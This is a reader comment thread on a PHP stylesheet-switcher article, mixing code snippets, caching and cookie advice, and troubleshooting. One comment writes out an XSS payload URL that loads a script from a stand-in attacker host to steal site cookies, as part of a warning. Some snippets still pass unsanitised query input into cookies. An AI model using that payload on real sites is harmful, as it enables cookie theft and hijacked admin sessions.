Comments on Build a PHP Switcher

87 Reader Comments

Back to the Article
  1. > setcookie (‘sitestyle’, $set, time()+31536000, ‘/’, ‘yourdomain.com’, ‘0’);
    If $set is to contain the HTTP GET variable from the query string, use
    $_GET[‘set’]. This is the preferred way of working with client input from the query string. Old style PHP works fine as the example is, but newer versions probably have register_clobals off, meaning input is separated:
    $_GET
    $_POST
    $_COOKIE
    $_REQUEST (all of the above)
    $_FILES (uploaded files using POST)
    $_SERVER (user AND server variables, e.g. HTTP headers, environment variables)

    Here’s some nitty gritty from the PHP documentation:
    >In PHP 4.2.0 and later, the default set of predefined variables which
    >are available in the global scope has changed. Individual input and
    >server variables are by default no longer placed directly into the global
    >scope; rather, they are placed into the following superglobal arrays.

    Apart from that, of course, it’s a nice article. Good to see ALA going more developer-ish again. :-)

    Copy & paste the code below to embed this comment.
  2. A server side stylesheet switcher would appear to suffer from the same proxy-caching issues that affect server side browser sniffers.

    For example, an AOL user could visit your site and switch to the “red” style sheet. A copy of the page with the following style sheet link would be cached on AOL’s proxy server.

    <link rel=“stylesheet” type=“text/css” media=“screen” title=“User
    Defined Style” href=“red.css” />

    The next time an AOL user came to your site, they may be served the page with the red style sheet from the AOL cache regardless of their cookie value.

    You should be able to avoid this problem with the following lines of PHP code at the top of the page you don’t want to be cached.

    Header(“Cache-control: private, no-cache”);
    Header(“Expires: Mon, 26 Jul 1997 05:00:00 GMT”); //Past date
    Header(“Pragma: no-cache”);
    (pilfered from http://php.weblogs.com/stories/storyReader$550)

    Copy & paste the code below to embed this comment.
  3. A suggestion:
    Instead of putting the PHP to select which stylesheet to use in every page, wouldn’t it make more sense to do something like this:
    <link rel=“stylesheet” type=“text/css” media=“screen” title=“User
    Defined Style” href=“styleredirect.php” /> and then have styleredirect.php redirect to the appropriate stylesheet? That way, you could have one copy of the code instead of scattering it throughout every page of your site. It would make maintenence much simpler. Unfortunately, I don’t know PHP, so I’m not entirely sure how to actually code this.

    Copy & paste the code below to embed this comment.
  4. > header(“Location: $HTTP_REFERER”);

    This wont work when users are using proxies or web browsers that they
    configured to not to allow the webserver to read the referer-information
    (for privacy / security reasons).

    For example, I only need one click to turn off referer logging in Opera 6
    http://schechtel.de/pub/screens/2002/1013-opera6-referer-turn-off.gif

    In such cases the user will see a blank page (in the best case).

    Just FYI.

    Greetings from Germany,

    Roman Schechtel

    Copy & paste the code below to embed this comment.
  5. I use the code below and use JavaScript to set the cookie. Add more cases for more style sheets.


    <?php
    header (“Content-type: text/css”);
    ?>
    /* Style sheet */

    <?php
    switch (isset($style) ? $style : “Default”) {
    case "Blue":
    echo "@import \"blue.css\";";
    break;
    default:
    echo "@import \"regular.css\";";
    }
    ?>

    Copy & paste the code below to embed this comment.
  6. This script has a potential security flaw - an HTML injection attack. The script embeds HTML in to the document directly from the query string of the page without first checking that the HTML is “safe”. This could allow a crafty cracker to steal your browser’s cookies for the site, which could lead to a security breach if cookies are used to store administrator sessions (for a content management system for example). As a lesser evil, it could also let malicious third parties to add inapropriate content to your site as viewed by another user.

    Here’s (roughly) how it would work. A cracker tricks someone in to visiting your site with a URL that looks like this:

    http://yoursite.com/switcher.php?set=”><script src=“http://hax0r.net/evil.js”>

    The included script file has code which uses javascript to grab any available cookies for that domain and silently send them off to a script running on the hacker’s site (through a invisible HTTP GET request, probably by including another script or an image) which logs your cookies. The same technique could be used to add HTML to the page, which could allow people to “add” pornography to your site. The added HTML would only be visible to users who visited the site via the “fake” link provided by the cracker but could still lead to confusion and, in the case of administrator cookies being stolen, a full scale security breach.

    Copy & paste the code below to embed this comment.
  7. It is amusing to see that trick here a year after I used it, and looking back, it shows that I too didn’t sanitise the querystring value that was passed to the switcher.

    Here’s a simple sanitiser that will remove all non-alphanumeric characters, and also get $set The Right Way (tm):

    <?php
    $set = $_GET[‘set’];
    $set = preg_replace(’#[^a-zA-Z0-9_-]#’, ‘’, $set);
    setcookie (‘sitestyle’, $set, time()+31536000, ‘/’, ‘yourdomain.com’, ‘0’);
    header(‘Location: ‘.$_SERVER[‘HTTP_REFERER’]);
    ?>

    One drawback of this technique is that if there are any websites’ pages in the browser’s history AFTER your website’s page, they’re just *poof* gone when the switcher link is clicked.
    (Then again, that was the case with last year’s browsers, maybe by now they implemented a check for 0 bytes pages not to be included in the history.)

    Copy & paste the code below to embed this comment.
  8. Was the reference to that URI at the end of the article some sort of joke I did not get?

    A page which does nothing and has no links surely would not be much of a worry as far as WAI rating…

    Brett

    Copy & paste the code below to embed this comment.
  9. Brett, if you checked the source code you would see that decfafeinated.org is ‘returning soon’. Apparently it has gone off line until further notice.

    A question about security: How serious an issue is the security breach, and how easily accessible is it to get to the cookies?

    I keep wanting to get into PHP, but there always seem to be serious security issues. Any commentary on this would be appreciated.

    Thanks.

    Marty

    Copy & paste the code below to embed this comment.
  10. Marty, the most this security breach (that the sanitised version of the code avoids) could do is get the cookies from the website the PHP switched is on. However, this is only if using javascript. If you passed some PHP code in the querystring value, you could do much more than that.

    There really aren’t security issues with PHP itself, it’s only that’s it’s very easy for unexperienced people to produce insecure code.
    Eventually, it all comes down to the good “never trust the user” doctrine, and the systematic sanitisation of user-submitted data. Once you start following these simple rules, your PHP will be as secure as can be. :)

    Copy & paste the code below to embed this comment.
  11. The security breach I described is only a significant problem if you run a site that has a cookie-powered login for an administration panel - as is the case with most web based content management systems. Sites that do not use cookies in this way are not nearly as badly affected - a malicious third party could still “trick” someone by adding content to your site temporarily (through adding it to the query string and tricking someone in to visiting the site via that URL). Michel’s sanitiser is a good way of avoiding this - I tend to use PHP’s htmlentities() function for the same purpose.

    Copy & paste the code below to embed this comment.
  12. Cheers, that’s a helpful article, but one little meta-gripe. It’d be nice if i could make the small text larger in ala articles by choosing View -> Text Size -> Larger [IE6/Win2002]. Jakob N would roll in his grave (if he were dead).

    cheerio

    Copy & paste the code below to embed this comment.
  13. OK… No, I haven’t used PHP before… and this seemed like such a perfect idea since I have a client going live in two days thought wants accessibility and styleswitching. I was attempting to use this as a “no javascript” method of doing this.

    I contacted my host who said that PHP was now enabled for the site… followed the directions in the tut… and ended up with a completely unstyled page. :( When trying it in Mozilla, I do see the option of “other stylesheets” and can even choose the one I have as an alternate… but not with the PHP switcher…

    Has anyone been successful with this article? Is it missing anything? I even tried the code in Michel V’s post above and now I’m getting an error that says:


    Warning: Cannot add header information - headers already sent by (output started at /home/sites/site171/web/testing/switcher.php:2) in /home/sites/site171/web/testing/switcher.php on line 5

    Warning: Cannot add header information - headers already sent by (output started at /home/sites/site171/web/testing/switcher.php:2) in /home/sites/site171/web/testing/switcher.php on line 6

    So is it hopeless? Or is there some little errata… or am I just “not getting it?” It has been a long day. :-P

    Copy & paste the code below to embed this comment.
  14. It should be mentioned that you should not:

    setcookie (‘sitestyle’, $set, time()+31536000, ‘/’, ‘yourdomain.com’, ‘0’);

    As was mentioned, the variable $set can be made to be anything (including bogus HTML) and that information would then be saved to the clients machine. In circumstances beyond what was discussed above, I’m not sure that this is a big deal, but you’re allowing external sites to set cookies for your site this way.

    One thing that immediately popped to mind is that you should check the referer. There could be problems with proxy servers (as was mentioned), but if you check the referer to see if it is YOUR server, then you are better off. Also you may check the value of $site against some “acceptable” names like “red”, “blue”, “green” like this:

    $acceptStyle = array(“red”, “blue”, “green”);
    if(in_array(trim($site), $acceptStyle)){
    // set the cookie here…
    }

    Also, in general, always use the “superglobal” variables ($_REQUEST, etc.) when getting data from users, not the variables that are automatically created through register_globals.

    Copy & paste the code below to embed this comment.
  15. Thanks for the answers guys.

    Copy & paste the code below to embed this comment.
  16. I think it’s kind of neat to see code in the article almost identical to what I’ve done before with this. Great minds, right? In fact it gave me reason to dig out the script of the site it’s on and clean it up a bit, incorporating all the suggestions made thus far as well as more modern PHP coding techniques. Until I saw it here:
    http://www.contrastsweb.com/switcher/
    Again, it’s eerie how similar the code is. I’m going to start reading Rob’s blog because it’s nice to find someone who thinks similarly. I would recommend the code above, with only two minor changes based on experience I’ve had.

    First, Netscape (bah!) has trouble with cookies whose domain has less than two periods in it. The nice way to fix this is to write your domain like “.example.com” (note the leading period!) which also has the nice side effect of making the cookie valid for any sub-domains you may have. Even if you don’t use sub-domains, this allows the same cookie to be used for people accessing your site through either yourdomain.com or www.yourdomain.com.

    I’ve also had trouble with PHP’s built-in setcookie function, so if that’s giving you trouble, you can always fall back on using straight headers to take care of things. Such as:
    header(“Set-Cookie: theme=$theme; path=/; domain=.photomatt.net; expires=”.gmstrftime(”%A, %d-%b-%Y %H:%M:%S GMT”, time()+10960000));

    For more information on cookies in general, and for a little trip down memory lane, check out the original cookie specification from Netscape at http://wp.netscape.com/newsref/std/cookie_spec.html. Partly I think because of their sadly lacking version 4 release, people forget how much Netscape really expanded technology behind the web. Sometimes for better, sometimes for worse. On that same vein it’s not a flaw in PHP that allows things like injection attacks, but rather coding that doesn’t consider as many possibilities as possible. I’ve found that coding for security in turn makes my code cleaner, more maintainable, and less likely to have to be rewritten after a while. Think of it as forward compatibility on the backend :)

    Meta: Could someone take a look at the regex (or whatever) is parsing the URLs for the forums? It works fine with most everything, but chokes on a few notable common URL characters.

    Copy & paste the code below to embed this comment.
  17. Arg, it ate the period in the URL I posted above, here’s a clean version:
    http://wp.netscape.com/newsref/std/cookie_spec.html
    That’s really my fault though; I should have put a space after the URL. Maybe it would just be easier to allow *just* anchor tags. The web is all about links. Sanitizing for one tag should be fairly trivial as well. Another solution would be the option to preview a post, so you can tell how things are going to turn out.

    Copy & paste the code below to embed this comment.
  18. One solution to the problem with using $_SERVER[‘HTTP_REFERER’] would be to send the current URL to switcher.php along with the stylesheet like this:

    switcher.php?set=red&ref;=<?=$_SERVER[‘PHP_SELF’]?>

    Then use $ref instead of $_SERVER[‘HTTP_REFERER’].

    Stephanie: You get those errors when you try to call the header() function after some html has been sent to the browser. Make sure that you don’t have any content (even a single space) before your opening <?php tag. Good luck.

    Simon

    Copy & paste the code below to embed this comment.
  19. michel v,

    Any reason you’re using the regular expression instead of PHP’s built in strip_tags?

    Copy & paste the code below to embed this comment.
  20. Alan, that’s just to ensure the script gets data that it could still use. If someone uses the evil.js method that Simon showed, strip_tags() will still put a remaining closing angle bracket as a cookie, and that can break the HTML that the page produces.
    Just removing anything that’s not alphanumeric ensures that the cookie set in the evil way isn’t going to break the HTML :)

    Copy & paste the code below to embed this comment.
  21. OK, this is probably showing some ignorance on my part, but doesn’t this method (stage two, detecting styles) require all pages using the switcher to be parsed by php? A <?php echo (!$sitestyle)?‘defaultstyle’:$sitestyle ?> in a “link” tag isn’t going to be executed in a plain HTML page unless the server is configured to have PHP parse .html as well as .php, right? And mod_perl pages and other things with their own handlers wouldn’t do anything with PHP instructions either. Am I missing something?

    Copy & paste the code below to embed this comment.
  22. You aren’t missing anything. The PHP snippet to echo the stylesheet name requires the page to be parsed as PHP.
    But it’s possible to achieve the same effect with [removed] read a cookie named ‘stylesheet’, if it doesn’t exist, make stylesheet = a default string. “This is left as an exercise for the reader.” :)

    Copy & paste the code below to embed this comment.
  23. There is more chance that a user will have cookies disabled than JavaScript disabled. All the above will not work without cookies.
    I am using SESSIONS in my version, this script assumes that PHP 4.2+ is installed and that register_globals is off with—enable-trans-sid.

    Code as below:

    <?php
    session_start();
    ?>
    <?php
    if(isset($_GET[‘css’])){
    switch ($_GET['css']) {
    case 'css1':
    $stylesheet = '<link href="theme1.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    case 'css2':
    $stylesheet = '<link href="theme2.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    case 'css3':
    $stylesheet = '<link href="theme3.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    case 'css4':
    $stylesheet = '<link href="theme4.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    default:
    $stylesheet = '<link href="cssdefault.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    }
    }
    ?>
    <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
    <html >
    <head>
    <title>CSS Changer</title>
    <meta http-equiv=“Content-Type” content=“text/html; charset=iso-8859-1” />
    <?php echo ($_SESSION[‘csschanger’])? $_SESSION[‘csschanger’]: ‘<link href=“cssdefault.css” type=“text/css” rel=“stylesheet”>’ ;?>
    </head>

    <body>
    ; ?>?css=css1”]Stylesheet 1

    ; ?>?css=css2”]Stylesheet 2

    ; ?>?css=css3”]Stylesheet 3

    ; ?>?css=css4”]Stylesheet 4

    </body>
    </html>

    As an extra, for future visits, you could of course set a cookie as well, but this method would not need cookies or JavaScript to work during the users SESSION. If cookies were disabled, then the SID would be passed with the URL, or you could even code the SID in if enable-trans-sid is not compiled on your server.

    Copy & paste the code below to embed this comment.
  24. Thank you, Peter Hawkes! This is exactly what I was hoping to find, and even better, it works. PHP rocks.

    For those still using older versions of PHP:

    change $_GET to $HTTP_GET_VARS
    change $_SESSION to $HTTP_SESSION_VARS
    change $_SERVER to $HTTP_SERVER_VARS

    thanks again. cheers, Robert Roberts

    Copy & paste the code below to embed this comment.
  25. The person who suggested PHP be put in the CSS document was real close - you can’t put PHP inside a .css file, since .css isn’t parsed by PHP unless you set it to, so here’s an easier trick:

    Use a CSS document name of <file>.php - the file will (haven’t tested this, but it makes sense) be parsed by PHP before being shipped off to the client when they request it. As long as you make sure to define it as text/css, the browser shouldn’t care about it’s extension.

    In the <file>.php file, just put all the code you need to do your dirty work. Oh and a tip for this… don’t use cookies with long expiry dates - set the expiry time to 0, which will make it die as soon as the browser closes (at the end of a “session”). Also, as mentioned before, don’t let people set whatever they want :) Whenever you accept user input, you have to take every precaution imaginable to prevent someone mis-using your scripts.

    Copy & paste the code below to embed this comment.
  26. One week after I’d finished my own version of this it appears here. Never mind.

    My version is different in that it doesn’t use GET variables to set the cookie. At the moment my switch-style links point to locations of the form: /ui/configure/“style-to-apply”/. Whilst this means that at the moment I am having to put code in each subdirectory it does mean that the only way to do an HTML insertion attack is to change the actual value of the cookie.

    Whilst this is not the best solution to the problem it avoid the injection attack. One way to make the code easier to maintain would be to use the techniques from http://www.alistapart.com/stories/succeed/ the mod_rewrite article to redirect requests to the subdirectory to a script that could encode the correct cookie.

    Just a thought. Great article, can’t wait for next weeks.

    Copy & paste the code below to embed this comment.
  27. >>>>>>
    In the <file>.php file, just put all the code you need to do your dirty work. Oh and a tip for this… don’t use cookies with long expiry dates - set the expiry time to 0, which will make it die as soon as the browser closes (at the end of a “session”).
    >>>>>>

    what would be the point of using a cookie then if you’re setting it to 0? If that’s the case then you should be using a session variable instead.

    Copy & paste the code below to embed this comment.
  28. what would be the point of setting the cookie to 0 ?? If you want it removed at the end of a session , just use a session variable instead.

    Copy & paste the code below to embed this comment.
  29. What’s the point of having ‘save’ on the file menu? It gives you different ways of doing the same thing.

    Also, regarding the suggestion that, without checking, a malicious user could run their own PHP code: not possible. For this to happen, the script must contain an eval() statement or something that uses unchecked user input.

    Copy & paste the code below to embed this comment.
  30. where the example uses (!$foo) ? ‘default’ : $foo

    it would be much clearer to simply write

    $foo ? $foo : ‘default’

    because then you don’t have to parse the negation as well, and neither does the computer.

    Copy & paste the code below to embed this comment.
  31. Yes nice - but will any one use it?

    I find site users completley ignore this kind of thing - as always content is king.

    Copy & paste the code below to embed this comment.
  32. Does the “HTML” file have to be XHTML for this to work??

    TIA

    Copy & paste the code below to embed this comment.
  33. Is it possible to have the currently selected choice not linked -
    meaning, if i’m at red there is no reason for me to be able to
    click on “red.” the text could still be there as an indicator
    of the current choice. I just thought of that, but have no idea how to do it in PHP or if it could be done, but if it could that’d be pretty cool.

    Copy & paste the code below to embed this comment.
  34. There is no easy way (that I know of) to de-link the current link. The non-easy way is to generate you links for each page. Include a seperate file in each page that contains you navbar code. When you want to generate the style links then something along these lines would work (pseudo-code):

    $styleNamesArray = (“style1”, “style2”, ... , “stylen”);
    foreach ($styleNamesArray as $styleName)
    {
    if ($styleName = $_COOKIE['styleCookie'])
    {
    echo $styleName;
    }
    else
    {
    echo "<a >$styleName</a>";
    }
    }

    Something like that anyway.

    Copy & paste the code below to embed this comment.
  35. Good advice. mr. anonymous

    Using <link href=“stylesheet.php” ...>
    gets around the requirement of having every page on the website parsed by php. Only 2 pages need to be parsed, instead. Just be sure to include:
    header(“content-type:text/css”);
    in the php script before you output anything else.

    One suggestion for getting around relying on the $HTTP_REFERRER tag is to use a javascript to call the switch.php?set=red script, as the src for a hidden image.
    <a href=”[removed]hiddenImage.src=‘switch.php?set=red’;reload()”> or some such typing (I’m not very good with JS). Or, make the image non-hidden, and actually have the stylesheet.php return an image based on the selection. Could have some fun with this.

    Copy & paste the code below to embed this comment.
  36. I just wanted to say w00t!~ and thanks to all for your suggestions.

    I was trying to find an alternative to javascript not cos of people having it disabled, but because of a conflict between something I had just implemented and the window.onload of the old ALA switcher ...

    I’ve remodelled my site in PHP recently, so this was the next logical step!

    Thanks for the session-level piece-of-code ... that makes my site just perfect!

    Cheers!

    Copy & paste the code below to embed this comment.
  37. Boyd: Maybe not, but you could tell for sure by adding three lines of code to switcher.php. This would also have the advantage of showing which URL and style people preferred. In fact it could even catch any would-be hackers so you could ban them. If you wanted you could also add browser, host, and time.

    $fp = fopen(“elog.txt”, “a”);
    fwrite($fp, “$REMOTE_ADDR\n$HTTP_REFERER\n$set\n—————\n”);
    fclose($fp);

    Add that, then create a log.txt and chmod it appropriately. True, it’d be relatively slow and byte intensive but you could use it for a short period of time just to measure user responce. As for a MySQL version, I’ll leave that as an excercise for the reader… ;)

    Copy & paste the code below to embed this comment.
  38. Oops, in my previous post I made two mistakes:

    A. $fp = fopen(“elog.txt”, “a”);
    should be $fp = fopen(“log.txt”, “a”);

    and

    B. I forgot to fill in name.

    Copy & paste the code below to embed this comment.
  39. Thanks to ALA & Rob Ballou (http://www.contrastsweb.com/switcher/) I’ve now got this working nicely.

    However I’d like to display the alternate stylesheets in a drop down list and have the switch happen as soon as a new choice is made and remove the “Submit” button.

    Any pointers on this?

    Copy & paste the code below to embed this comment.
  40. i just add a bit of mail code to test if theses things are used - and they rearly are, very few user ever do anything but the very basics.

    Copy & paste the code below to embed this comment.
  41. Yeah - try adding the following onChange in your <select ...  = this.options[this.selectedIndex].value”>

    or even include a function in your page scripting like

    [removed]function gothere(where){location.href = where.options[where.selectedIndex].value;}[removed]

    The you have just <select ... >

    HTH ;)

    Copy & paste the code below to embed this comment.
  42. I have discovered a small (massive) problem with the “session-level” code proposed earlier in this thread ...

    It will not validate! Aarrgh ... is there any way to force the &PHPSESSIONID=blahblahblah… to use &PHPSESSIONID=blahblahblah ... instead ?

    I love this bit of code, but this is a pain!

    Copy & paste the code below to embed this comment.
  43. A couple of things.

    First if you are already parsing pages to add the styles then there’s no reason not to put the cookie code right into the page itself instead of using another (switcher) page.
    (I know about the new _GET var but I’m not using it quite yet in shared code because not everyone has upgraded their php yet)

    if ($set || $HTTP_GET_VARS[‘set’]) {
    setcookie ('sitestyle', $set, time()+31536000, '/', 'yourdomain.com', '0');
    $sitestyle = $set;
    }

    simple enough no extra pages and bouncing around. Someone else has already mentioned the inheirent security issues. This hack has been availible in almost every PHP tutorial on this site. If you are going to write server side coding tutes please know some basic security concerns before opening newbies up for attacks.

    Copy & paste the code below to embed this comment.
  44. Returning CSS from a .php file is not trivial.

    Make sure you are specifying the cache headers manually, otherwise every page hit will also have to fetch the stylesheet all over again. The default is to not cache dynamic pages.

    More importantly, some browsers are borken and won’t work with a .php URL even if the ContentType is text/css.

    Copy & paste the code below to embed this comment.
  45. Ok, just about got this to work (website in development stage, still!). What I would like to do, and could with javascript using the styleswitcher in ALA 126, was to display the name of the style in use, and parse the filename to a link enabling the user to validate the stylesheet in use via W3C’s validator. (didn’t work in Opera tho. huh!)

    Any ideas on doing the same with PHP?

    Copy & paste the code below to embed this comment.
  46. Stephanie -

    This error:
    Warning: Cannot add header information - headers already sent by (output started at /home/sites/site171/web/testing/switcher.php:2) in /home/sites/site171/web/testing/switcher.php on line 5

    Is often caused by having whitespace at the beginning or end of your php file. So take out any whitespace (tabs, spaces, newlines) from the PHP file, and that *might* fix it. The general idea here is that *nothing* can be output before calling the header() function (not even whitespace).

    For more info see the PHP manual page on the header() function:
    http://www.php.net/manual/en/function.header.php

    - Mike

    Copy & paste the code below to embed this comment.
  47. Hello All,

    I am also new to php so, please bear with me…
    I would like to use this php code to enable a style switcher on my site. My purpose for a style switcher is not for the user to pick a new style bc in my humble opinion most users dont really care. I would like to use it for styles to switch when different browsers are used to view the page. So, if a user opens a page with ie the php code recognizes that the browser is IE and loads the page with the title “ie” or “ns” or “opera” in the link rel tag.

    thanks for the help, simeon

    Copy & paste the code below to embed this comment.
  48. You can use this ...

    [removed]
    <!—
    /* Detect user’s browser and alert user to possible problems - (c) Natch @ MoFo|DEBRIEF */
    var browser_type=navigator.appName
    var browser_version=parseInt(navigator.appVersion)

    //if NS 6
    if (browser_type==“Netscape”&&browser;_version>=5) {
    alert('You are using a relatively compliant Netscape browser');
    }
    //if NS4+
    else if (browser_type==“Netscape”&&browser;_version>=4) {
    alert('You are using an old Netscape browser');
    }
    //if earlier than IE 4
    else if (browser_type==“Microsoft Internet Explorer”&&browser;_version<4) {
    alert('You are using an old Internet Explorer browser');
    }
    // Etc etc etc ...
    [removed]
    //—>

    Copy & paste the code below to embed this comment.
  49. Simeon: EvilWalrus has just the thing:

    http://www.evilwalrus.com/viewcode/574.php

    Copy & paste the code below to embed this comment.
  50. Slightly off topic but I figure here’s a good place to get an answer…

    I have two alternate stylesheets with opposing rules set up on a switching method. This switch works fine in IE but not in NS.

    /* Stylesheet 1 */
    /*——————————————————————————- */
    span.metric { display: inline; }
    span.imp { display: none; }

    /* Stylesheet 2 */
    /*——————————————————————————- */
    span.metric { display: none; }
    span.imp { display: imp; }

    It should be obvious what I’m trying to achieve (two adjacent span tags with metric and US customary units), however when NS disables both alternates and then enables the desired alternate both <SPAN> tags fail to display, rather than the ‘switching’ behaviour desired (and working in IE).

    Can anyone throw some light on this?

    Copy & paste the code below to embed this comment.
  51. Whoops - typo in post. The switch does not work.

    /* Stylesheet 2 */
    /*——————————————————————————- */
    span.metric { display: none; }
    span.imp { display: inline; }

    Copy & paste the code below to embed this comment.
  52. http://bugzilla.mozilla.org/show_bug.cgi?id=59837

    It’s a most probably a bug. D’oh…

    Anyone got a workaround?

    Copy & paste the code below to embed this comment.
  53. Made a workaround using <spans> with internal attributeNodes for metric and imperial values, and a script to change the childNode accordingly.

    Not quite as good as if it were totally driven by CSS, but at least it works in the DOM compliant browsers - and non-compliants just get stuck with the default metric, so it’s not all bad.

    Copy & paste the code below to embed this comment.
  54. I have something just like this, using sessions and PHP, but I also have control-blocks scattered at intervals in the source-framework to do special modifies at special designs, not just CSS.

    Try switching from one design to another, and view source for all of them; they’re kinda the same, but also not quite, depending on the design. The writing of these extra style-HTML is very easy, and stored away in separate files and functions.

    But it sure will take a lot out of your servers resources when many come alookin’, though. Beware.

    Alex

    Copy & paste the code below to embed this comment.
  55. I’ve tried to use the PHP Styleswitcher, but it doesn’t seem to work. I’m a PHP novice, but worked through the example and tried it. The URL is http://www.themmgroup.com/example.php

    I checked the source of the executed PHP file and it says:

    Warning: Undefined variable: sitestyle in d:\websites\virtualwebs\themmgroup.com\example.php on line 7


    Dunno what I’m doing wrong! My ISP is using PHP Version 4.0.4pl1. Is this a problem?

    Thanks

    Copy & paste the code below to embed this comment.
  56. Richard some configurations will choke on this line

    ?php echo (!$sitestyle)?‘defaultstyle’:$sitestyle ?>.

    if $sitestyle is not set at all. Try switching the line to this.
    <?php
    $sitestyle = (!isset($sitestyle)) ? “defaultstyle” : $sitestyle;
    echo $sitestyle;
    ?>

    Copy & paste the code below to embed this comment.
  57. In reply to the poster Natcher00 about not validating due to the & in the PHPSESSID, simply add the following to yopur .htaccess file:

    <IfModule mod_php4.c>
    php_value arg_separator.output “&”
    </IfModule>

    Now PHPSESSID is appended with & and not &

    Pete :)

    Copy & paste the code below to embed this comment.
  58. The problem with using php in a css file is that you lose the benefit of the client’s browser caching the css file after a single access. Now that the css file is dynamic, the browser will have to download it again each time a page is viewed. So you may want to keep your core css in a static cacheable .css file and the few scripted parts in a small .css.php file. This saves bandwidth for everyone, woo!

    Copy & paste the code below to embed this comment.
  59. I would’ve jumped in earlier, except that I don’t read here very often. My bad.

    I’ve had a tutorial up on PHP + skinning for over a year here: http://www.domesticat.net/skins/howto.php

    It’s interesting to see that other people are interested in this particular bandwagon.

    One thing that I did differently than everyone here, it seems, is make each skin’s name numeric. (I currently have seventeen.) Keeping the names numeric means that I can run a very specific set of checks on the requested value of $skin (is it a positive integer? is it within the range of numbers I specify?) and drop the user back to a default skin if their requested value of $skin is invalid.

    In some ways what I’m doing goes a bit beyond the scope of this discussion; I’m using the value of $skin to do more than just swap a stylesheet. There are a lot of extras available on my site that are just a bit too much for those using modems, lynx, or handhelds, so there are superslim versions of the site geared toward those devices.

    Most of the tutorial has more to do with preparing your site for skinning purposes, and most of it’s utter common sense. Perhaps it’ll help someone in the future.

    Copy & paste the code below to embed this comment.
  60. Great article!

    I tried it out and got it to work after a short while. The only problem is: the cookie doesn’t get written in NN4 and so the whole switching thing fails in that particular browser.

    Does anyone have a clue why? I’d love to hear it :-)

    Cheers Martin

    Copy & paste the code below to embed this comment.
  61. I know this forum has been dead for a while but hopefully one of you PHP heads is still checking it out. I use an SSI tag to include a navbar, and I was able to do that in my index.php file using a php include statement. (because apparently regular SSI tags won;t work here). THe problem is, none of the css styles get applied to the included navbar, which I tried as an html, a php, and I even tried adding the stylesheet select code that goes in every page to no avail. I hope someone can help; I’m not sure how to fix this.

    Copy & paste the code below to embed this comment.
  62. ok disregard the previous post, I figured it out. It may have been a simple thing to most but when you simply don’t know PHP other than what you copy and paste…..

    At any rate I’m having a smaller yet similar problem. I used the following to include my nav.php -

    <?php include(“nav.php”); ?>

    And then in the nav.php we have

    <?php
    echo (”Home | “);
    echo (”Sights | “);
    echo (”Sounds | “);
    ?>

    The CSS switcher DOES affect these links as they appear on index.php through a browser, but the applied CSS style does NOT affect the pipes (|) that are in between the links here. I know it seems trivial, but not only do I want the pipes to appear correct, eventually I may add more to the nav bar, like a table to hold the links, or other non-link text. Please help

    Copy & paste the code below to embed this comment.
  63. John,

    this sounds like the problem I ran into some time ago. The separator lines are not affected by the <a> style as they are not part of the link. Instead you might want to wrap the navbar into a <div id=“navbar”> and define your style attributes for…

    #navbar {...}

    Hope my guess was right and it helps a little!


    Cheers Martin

    Copy & paste the code below to embed this comment.
  64. I noticed that without cookies enabled this whole thing fails to work. I guess this was obvious but I had originally thought that setting the cookie was simply so that the user came back to his or her chosen style. Is there a workaround that allows the switcher to still work if cookies are disabled or is that just how it is?

    Copy & paste the code below to embed this comment.
  65. Yes, look at previous posts.

    There were a lot of suggestions and samples to achieve this using SESSIONS. Haven’t looked into it myself but will certainly do as I get more into PHP.

    Cheers Martin

    Copy & paste the code below to embed this comment.
  66. I *HAD* it all working on my blog (MT on Apache2/PHP4.3.0) and after one day and a couple of index-rebuilds it was all gone… :? The switcher.php wasn’t working (anymore): the browser kept on that page and didn’t return to index.php with a new stylesheet.
    Now I see a lot of suggestions here but I miss a complete solution e.g. not just rewrites of some possible buggy rule in switcher.php :)
    Anyone PLEASE? TIA!

    Copy & paste the code below to embed this comment.
  67. I wish that there was a way of doing this using ASP. I know, I know, PHP is better, faster, etc. The problem is, my ISP doesn’t have PHP installed, and only supports ASP. The website I’m working on (see URL) is entirely authored in standards-compliant xhtml and css, and I just wish I could take advantage of that.

    Copy & paste the code below to embed this comment.
  68. g

    Copy & paste the code below to embed this comment.
  69. But I’d imagine it was possible, no?

    I did it with ColdFusion myself. Yes, a few minutes of downtime at work.

    Copy & paste the code below to embed this comment.
  70. but using sessions, it wont save the users theme will it? cause each time they go the site, they will view the default theme, wont they?

    Copy & paste the code below to embed this comment.
  71. If this works, and I guess it does, then why doesn’t AListApart use this in addition to the Javascript solution. If they used this as well (instead of an empty response on the buttons) then Opera users could switch styles as well…

    Copy & paste the code below to embed this comment.
  72. i tried this a short while ago, and it didn’t work for me in netscape. to get around it i tried adding AddType application/x-httpd-php .css to .htaccess, and keeping the .css extension, which for some reason also didn’t work in netscape, although IE was fine (never tested opera). never did find out why =\.

    Copy & paste the code below to embed this comment.
  73. oops didn’t see next pages =\, anyway i was refuring to just changing the .css extension to .php if no-one guessed

    Copy & paste the code below to embed this comment.
  74. this php switcher allow us to change layouts too?

    Copy & paste the code below to embed this comment.
  75. sdf

    Copy & paste the code below to embed this comment.
  76. I’m using this on my blog website http://www.slowchildrenatplay.org/ and it works fine in IE 5.5, IE 6 and Netscape 6.2. When I try to change the styles in Netscape 7 though, I have some trouble. When I click one of the style-changing links, the browsers goes to http://www.slowchildrenatplay.org/switcher.php?set=style but doesn’t refresh… it stays there, looking blank. If I hit the back button and refresh the index page, the new style is applied. Does anyone know how this switcher works with NN 7? Can someone look at my code and see if I made a mistake? (I’ve double checked a few times, and everything appears to be in order.)

    Copy & paste the code below to embed this comment.
  77. If you use $SERVER_NAME instead of ‘yourdomain.com’ then you don’t have to type in your domain name and virtual hosts, will all work…

    Also I do my switching like so:-


    if have a directory with css files in (amongst other things…)
    so include the following from a php library file:

    function getCssFiles($dirPath)
    {
    if ($handle = opendir($dirPath))
    {
    while (false !== ($file = readdir($handle)))
    if ($file != "." && $file != ".." && substr($file,-4) == '.css')
    $filesArr[] = trim( substr($file,0,strlen($file)-4) );
    closedir($handle);
    }
    return $filesArr;
    }

    //load the css file names into an array
